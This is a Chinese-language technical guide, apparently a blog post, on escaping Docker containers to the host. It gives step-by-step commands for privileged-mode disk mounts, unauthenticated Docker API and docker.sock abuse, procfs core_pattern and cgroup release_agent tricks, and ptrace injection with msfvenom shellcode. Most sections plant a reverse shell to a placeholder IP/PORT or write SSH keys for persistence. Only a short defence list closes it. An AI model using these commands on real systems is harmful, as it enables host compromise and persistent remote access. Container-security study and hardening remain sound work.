docker逃逸方式总结分享
字数 1286 2025-08-29 08:30:19
Docker逃逸技术全面指南
一、Docker环境判断
1. 检查.dockerenv文件
Docker容器内部默认会在根目录(/)下创建一个名为.dockerenv的隐藏文件:
ls / -al
2. 检查/proc/1/cgroup文件
查看该文件内容,如果包含明显的docker标识则表明处于Docker容器中:
cat /proc/1/cgroup
3. 检查系统环境变量
Docker会自动设置一些特定的环境变量:
echo $HOSTNAME # 通常包含容器ID
env | grep DOCKER
二、Docker逃逸方式
1. 特权模式逃逸
利用条件:容器以特权模式(privileged)启动
检测方法:
cat /proc/self/status | grep CapEff
# 如果CapEff值为0000003fffffffff则为特权模式
利用步骤:
- 查看磁盘设备:
fdisk -l
- 创建目录并挂载宿主机磁盘:
mkdir -p /test11
mount /dev/vda1 /test11
- 逃逸方法:
- 定时任务反弹shell:
# 先判断宿主机系统类型
cat /test11/etc/os-release
# CentOS/Ubuntu等系统:
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /test11/var/spool/cron/root
# Alpine系统:
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /test11/etc/crontabs/root
- 写入SSH公钥:
ssh-keygen -t rsa -b 4096 -f my_key -N ""
echo "公钥内容" >> /test11/root/.ssh/authorized_keys
chmod 600 /test11/root/.ssh/authorized_keys
2. Docker API未授权访问
利用条件:2375端口暴露且未授权
检测方法:
访问http://target:2375/version,返回版本信息则存在漏洞
利用步骤:
- 查看目标容器:
docker -H tcp://IP:2375 ps
- 创建新容器并挂载宿主机目录:
docker -H tcp://IP:2375 run -id -v /:/tmp alpine:latest
- 进入容器并利用挂载的目录逃逸(方法同特权模式)
3. Docker Socket挂载逃逸
利用条件:容器内挂载了/var/run/docker.sock
检测方法:
ls -lah /var/run/docker.sock
利用步骤:
- 在容器内创建新容器并挂载宿主机目录:
docker run -it -v /:/tmp ubuntu /bin/bash
- 进入新容器后利用挂载的目录逃逸(方法同特权模式)
4. Procfs危险挂载逃逸
利用条件:挂载了宿主机的/proc目录
检测方法:
find / -name core_pattern | wc -l
# 如果找到2个core_pattern文件则可能挂载了宿主机的procfs
利用步骤:
- 获取容器在宿主机上的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# 将路径中的work替换为merged
- 创建反弹shell脚本:
echo '#!/bin/sh' > /tmp/exp.py
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /tmp/exp.py
chmod +x /tmp/exp.py
- 修改core_pattern:
echo -e "|/容器绝对路径/tmp/exp.py \rcore " > /挂载点/proc/sys/kernel/core_pattern
- 触发崩溃执行脚本
5. Cgroup配置错误逃逸
利用条件:
- root用户运行
- 具有SYS_ADMIN权限
- AppArmor未配置
- Cgroup v1以读写方式挂载
检测方法:
cat /proc/self/status | grep CapEff # 检查SYS_ADMIN
mount | grep cgroup # 检查挂载方式
利用步骤:
- 创建并挂载Cgroup:
mkdir /tmp/test3
mount -t cgroup -o memory cgroup /tmp/test3
mkdir /tmp/test3/conf
- 设置通知机制:
echo 1 > /tmp/test3/conf/notify_on_release
- 获取宿主机路径:
host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`
- 设置release_agent:
echo "$host_path/cmd" > /tmp/test3/release_agent
- 创建反弹脚本:
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/IP/PORT 0>&1" >> /cmd
chmod +x /cmd
- 触发执行:
sh -c "echo \$\$ > /tmp/test3/conf/cgroup.procs"
6. SYS_PTRACE进程注入逃逸
利用条件:
- 具有SYS_PTRACE权限
- 共享宿主机进程命名空间(--pid=host)
- root权限运行
检测方法:
capsh --print | grep cap_sys_ptrace # 检查权限
ps aux | grep dockerd # 检查是否共享进程空间
利用步骤:
- 获取或编译进程注入工具
- 生成shellcode:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f c
- 注入宿主机进程
三、CDK工具利用
功能:
- Evaluate:容器内部信息收集
- Exploit:提供容器逃逸、持久化、横向移动等利用方式
- Tool:常用Linux命令和Docker/K8s API交互命令
使用方法:
- 上传CDK到容器
- 信息收集:
./cdk evaluate
- 利用检测到的漏洞模块进行逃逸
四、防御建议
- 避免使用特权模式运行容器
- 限制容器能力,移除不必要的capabilities
- 配置适当的AppArmor或SELinux策略
- 避免挂载敏感目录如/proc、/var/run/docker.sock等
- 确保Docker API有适当的认证和授权
- 定期更新Docker和主机系统
- 使用只读文件系统运行容器
- 限制容器资源使用和权限
通过以上方法,可以有效防止Docker逃逸攻击,确保容器环境的安全性。